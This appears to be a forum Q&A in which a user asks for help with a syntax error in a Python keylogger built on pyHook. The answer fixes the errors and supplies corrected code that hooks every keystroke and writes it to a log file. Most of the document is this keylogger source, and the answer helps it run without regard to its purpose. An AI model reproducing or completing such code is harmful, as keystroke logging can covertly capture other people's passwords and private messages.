PixelPuppet PixelPuppet - 9 months ago 26
Python Question

What is wrong with the chr in this code?

Hey does anyone know what it is wrong with the

chr
in this code, the first
chr
(
chr(event.Ascii):
). it just returns with a syntax error. I am writing a keylogger using pyHook. Thanks in advance.

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Python\\log.txt'

def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)'
chr(event.Ascii):
logging.log(10, chr(event.Ascii))
return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Answer Source

There are two errors in that section of code.

First, you are missing a closing parenthesis:

logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)'
#              ----^                                                     -------^

Without that closing parenthesis, Python does not know when that expression is supposed to end. The next line then doesn't make sense and raises a SyntaxError exception.

Your next line has a stray colon:

chr(event.Ascii):

which you need to remove. You also do not store the result of that call, you could just omit that line.

The following is correct Python.

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)')
    logging.log(10, chr(event.Ascii))
    return True